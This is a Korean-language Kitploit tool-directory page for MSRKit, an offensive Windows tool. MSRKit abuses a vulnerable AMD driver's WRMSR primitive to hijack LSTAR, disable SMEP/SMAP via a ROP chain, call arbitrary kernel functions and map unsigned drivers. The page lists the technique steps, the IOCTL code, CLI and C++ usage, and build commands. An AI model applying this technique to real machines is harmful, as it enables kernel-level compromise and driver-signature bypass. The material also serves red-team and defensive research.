Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
MSRKit — ROP 체인과 WRMSR 프리미티브를 결합하여 커널 함수를 호출하고 BYOVD(AmdTools64.sys)를 통해 서명되지 않은 드라이버를 매핑하는 개념 | Kitploit
도구/GitHubGitHub/rurixis/msrkit
Privilege EscalationExploitationReverse EngineeringShellcodePost-ExploitationRed TeamingPayload DevelopmentBinary Exploitation
GitHubrurixis/msrkit

MSRKit

ROP 체인과 WRMSR 프리미티브를 결합하여 커널 함수를 호출하고 BYOVD(AmdTools64.sys)를 통해 서명되지 않은 드라이버를 매핑하는 개념

저장소 보기
91352일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

MSRKit

취약한 드라이버(AmdTools64.sys)의 wrmsr 프리미티브를 통해 ROP 체인으로 커널 함수를 호출하고 드라이버를 매핑하는 도구입니다.

작동 방식

  1. NtLoadDriver를 통해 AmdTools64.sys를 로드합니다 (심볼릭 링크를 사용할 수 없는 경우 PnP devnode + GUID 기반 디바이스 인터페이스로 대체)
  2. 드라이버의 MSR 읽기 IOCTL(0xFFF02804)을 통해 IA32_LSTAR를 읽습니다
  3. ntoskrnl.exe에서 ROP 가젯(pop rcx; ret, mov cr4, rcx; ret, wbinvd; ret 등)을 스캔합니다
  4. IA32_LSTAR를 진입 가젯으로 덮어쓰고, FMASK에서 AC를 지우고, syscall을 발생시킵니다
  5. ROP 체인은 CR4의 SMEP/SMAP 비트를 지우고, 커널 스택에서 대상 함수를 디스패치하고, CR4와 LSTAR를 복원하고, sysretq를 통해 사용자 모드로 복귀합니다

드라이버 매핑도 동일한 경로를 따릅니다: ExAllocatePoolWithTag로 커널 풀을 할당하고, 준비된 PE 이미지(재배치 적용, 임포트 해결, 보안 쿠키 패치됨)를 복사하고, 매핑된 진입점을 호출합니다.

사용법

CLI

root@kitploit:~
msrkit <driver.sys> call    <ExportName> [args...]
msrkit <driver.sys> call_at <address>    [args...]
msrkit <driver.sys> map     <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap   <address>
  • call -- 이름이 지정된 ntoskrnl 익스포트를 해결하고 호출합니다. 인수는 정수로 파싱됩니다(0x 접두사가 있는 16진수). 반환 값을 출력합니다.
  • call_at -- 임의의 커널 가상 주소를 호출합니다.
  • map -- 서명되지 않은 드라이버를 비페이징 풀에 매핑하고 진입점(ExAllocatePoolWithTag)을 호출합니다. 매핑된 베이스 주소를 출력합니다.
  • unmap -- 주어진 베이스 주소에 이전에 매핑된 드라이버를 해제합니다.

라이브러리

root@kitploit:~
#include "msrkit.h"

#pragma comment(lib, "msrkit.lib")

int main()
{
	MSRK::INIT(L"AmdTools64.sys");

	void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
	std::cout << "Memory allocate: " << mptr << std::endl;

	auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
	std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";

	// raw call
	std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
	void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
	std::cout << "raw memory alloc : " << mptr24 << std::endl;

	std::vector<uint64_t>args2 = { 123, 456 };
	auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );

	MSRK::UNMAP(mptr23);	
	MSRK::CLEANUP();
}

선택적으로 기존 드라이버 핸들을 전달하여 로드를 건너뛸 수 있습니다:

root@kitploit:~
MSRK::INIT("AmdTools64.sys", existing_handle);

빌드

MSVC(v143+)가 포함된 Visual Studio와 MASM(ml64.exe)이 필요합니다.

root@kitploit:~
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release

출력: build/Release/msrkit.exe (CLI) 및 msrkit.lib (정적 라이브러리).

CFG는 비활성화됩니다(/guard:cf-). 스택 쿠키(/GS)는 활성화됩니다.

기능

  • 모든 Windows 10 및 11 빌드에 대한 완전한 지원
  • KPTI와 호환
  • HVCI 지원 없음 (HVCI를 비활성화해야 함)
  • PnP / Non PnP 드라이버 지원

제한 사항

  • 단일 코어 실행만 가능 -- 커널 호출 중 스레드가 CPU 0에 고정됨
  • 별도 프로세스에서의 동시 LSTAR 하이재킹은 BSOD를 발생시킴 (한 번에 하나의 호출자만 가능)
  • Zw/Nt 시스템 콜 스텁은 LSTAR 컨텍스트에서 호출할 수 없음 (KiSystemService로 재진입함)
도구 다운로드